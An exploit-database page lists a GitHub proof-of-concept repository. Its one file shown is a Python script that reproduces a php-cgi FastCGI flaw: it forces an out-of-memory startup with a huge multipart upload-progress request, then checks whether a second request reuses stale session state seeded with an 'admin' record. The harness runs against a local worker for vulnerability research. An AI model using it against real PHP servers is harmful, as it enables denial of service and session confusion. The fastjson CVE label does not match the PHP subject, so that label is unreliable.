Exploit database

GH-75f23d292ccf5b46630574f41cfd154a

ethen1212/fastjson-cve-2026-16723

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-16723

12 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files21
ethen1212/fastjson-cve-2026-16723Revision f0861f3adba2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

env/stale_state.py

Python · 5,632 bytes
#!/usr/bin/env python3
"""CVE-2026-109619: stale request-owned global state reused by a later request
on the same worker.

Two requests go to the SAME php-cgi FastCGI worker:

  request 1: a multipart upload-progress request that drives the request into
             the OOM path during request startup (CVE-2026-109618's trigger),
             so the worker exits request startup with session/request state
             that was never properly torn down;
  request 2: a plain multipart upload-progress request. Its rfc1867 callback
             runs before RINIT and (on the vulnerable build) uses whatever
             PS() state request 1 left behind.

On the fixed build the callback clears the session globals early
(php_rinit_session_globals() at MULTIPART_EVENT_START) and bails out of the
handler if the session cannot be initialized, so request 2 is unaffected.

Usage: stale_state.py <php-cgi> <label> [port]
"""
import os
import subprocess
import sys
import time

sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from fcgi import FcgiClient  # noqa: E402

BOUNDARY = "---------------------------20896060251896012921717172737"
SID = "stalevictim"
HERE = os.path.dirname(os.path.abspath(__file__))

RECORD = 'user|s:5:"admin";role|s:5:"admin";'


def multipart_body(nheaders=0, sid=SID):
    pad = "A" * 32
    parts = [
        f"--{BOUNDARY}\r\n",
        f'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n',
        f"--{BOUNDARY}\r\n",
        'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nkey\r\n',
        f"--{BOUNDARY}\r\n",
        'Content-Disposition: form-data; name="f"; filename="f.txt"\r\n',
    ]
    for i in range(nheaders):
        parts.append(f"X-Pad-{i}: {pad}\r\n")
    parts.append("\r\n")
    parts.append("data\r\n")
    parts.append(f"--{BOUNDARY}--\r\n")
    return "".join(parts).encode()


def start_worker(php_cgi, port, rundir, mem, extra=None):
    ini = {
        "display_errors": "1",
        "html_errors": "0",
        "error_reporting": "E_ALL&~E_DEPRECATED",
        "memory_limit": mem,
        "post_max_size": "64M",
        "file_uploads": "1",
        "upload_max_filesize": "32M",
        "session.save_path": rundir,
        "session.name": "PHPSESSID",
        "session.use_strict_mode": "0",
        "session.use_cookies": "0",
        "session.use_only_cookies": "0",
        "session.cache_limiter": "",
        "session.save_handler": "files",
        "session.serialize_handler": "php",
        "session.upload_progress.enabled": "1",
        "session.upload_progress.cleanup": "0",
        "session.upload_progress.prefix": "upload_progress_",
        "session.upload_progress.name": "PHP_SESSION_UPLOAD_PROGRESS",
        "session.upload_progress.freq": "1%",
        "session.upload_progress.min_freq": "0.000000001",
    }
    if extra:
        ini.update(extra)
    cmd = [php_cgi, "-b", f"127.0.0.1:{port}"]
    for k, v in ini.items():
        cmd += ["-d", f"{k}={v}"]
    return subprocess.Popen(cmd, cwd=rundir, stdout=subprocess.PIPE, stderr=subprocess.PIPE)


def main():
    php_cgi = sys.argv[1]
    label = sys.argv[2] if len(sys.argv) > 2 else php_cgi
    port = int(sys.argv[3]) if len(sys.argv) > 3 else 9100

    rundir = os.path.join(HERE, f"run_stale_{port}")
    os.makedirs(rundir, exist_ok=True)
    worker = os.path.join(HERE, "worker_cb.php")
    sess_file = os.path.join(rundir, f"sess_{SID}")
    with open(sess_file, "w") as fh:
        fh.write(RECORD)

    proc = start_worker(php_cgi, port, rundir, "8M")
    time.sleep(1.0)
    print(f"### {label} ###  worker pid={proc.pid}")

    params = {
        "GATEWAY_INTERFACE": "FastCGI/1.0",
        "REQUEST_METHOD": "POST",
        "SCRIPT_FILENAME": worker,
        "SCRIPT_NAME": "/worker_cb.php",
        "PATH_TRANSLATED": worker,
        "QUERY_STRING": "",
        "SERVER_PROTOCOL": "HTTP/1.1",
        "SERVER_SOFTWARE": "php-cgi",
        "REMOTE_ADDR": "127.0.0.1",
        "CONTENT_TYPE": f"multipart/form-data; boundary={BOUNDARY}",
    }

    # --- request 1: drive the worker into the startup OOM path -------------
    body1 = multipart_body(nheaders=120000)
    p1 = dict(params)
    p1["CONTENT_LENGTH"] = str(len(body1))
    try:
        c = FcgiClient(port=port)
        out, err, status = c.request(p1, body1)
        print(f"[req 1] app_status={status} stdout={len(out) if out else 0}B stderr={len(err) if err else 0}B")
        if err:
            print("        stderr:", err.decode(errors="replace").strip()[:200].replace("\n", " | "))
        c.close()
    except Exception as exc:  # noqa: BLE001
        print(f"[req 1] exception: {exc!r}")

    time.sleep(0.5)

    # --- request 2: normal upload-progress request, same worker -----------
    body2 = multipart_body(nheaders=0)
    p2 = dict(params)
    p2["CONTENT_LENGTH"] = str(len(body2))
    try:
        c = FcgiClient(port=port)
        out, err, status = c.request(p2, body2)
        print(f"[req 2] app_status={status}")
        if out:
            print("        stdout:", out.decode(errors="replace").strip()[:400].replace("\n", " | "))
        if err:
            print("        stderr:", err.decode(errors="replace").strip()[:400].replace("\n", " | "))
        c.close()
    except Exception as exc:  # noqa: BLE001
        print(f"[req 2] exception: {exc!r}")

    time.sleep(0.5)
    alive = proc.poll()
    print(f"[worker] alive={alive is None} returncode={alive}")
    proc.terminate()
    try:
        proc.wait(timeout=5)
    except subprocess.TimeoutExpired:
        proc.kill()
    print()


if __name__ == "__main__":
    main()